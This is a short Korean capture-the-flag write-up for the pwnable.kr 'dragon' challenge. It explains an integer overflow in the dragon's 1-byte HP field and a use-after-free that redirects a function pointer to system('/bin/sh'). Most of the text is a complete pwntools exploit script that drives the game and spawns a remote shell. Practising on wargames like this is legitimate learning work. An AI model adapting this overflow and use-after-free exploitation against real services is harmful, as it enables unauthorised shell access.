pwnable.kr문제 중 쉬운 편에 속했다.
다만 ida에서 구조체를 다루는데 익숙하지 않아서 푸는데 3시간 정도 걸렸다.
문제의 취약점은 총 2가지이다.
1) integer overflow
2) uaf
드래곤의 체력이 1byte형 변수에 담겨있어서 127이상이 되면 음수가 되어 드래곤을 잡을 수 있다.
그 후 uaf 취약점을 이용하여 함수 포인터를 SelectLevel 에 있는 system("/bin/sh"); 의 주소로 변경하면 익스가 된다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | from pwn import * r=remote("pwnable.kr",9004) print r.recvuntil("Knight") r.sendline("2") print r.recvuntil("20 HP.") r.sendline("2") r.sendline("1") r.sendline("3") r.sendline("3") r.sendline("2") r.sendline("3") r.sendline("3") r.sendline("2") r.sendline("3") r.sendline("3") r.sendline("2") r.sendline("3") r.sendline("3") r.sendline("2") print r.recvuntil("As:") r.sendline(p32(0x08048DBF)) r.interactive() | cs |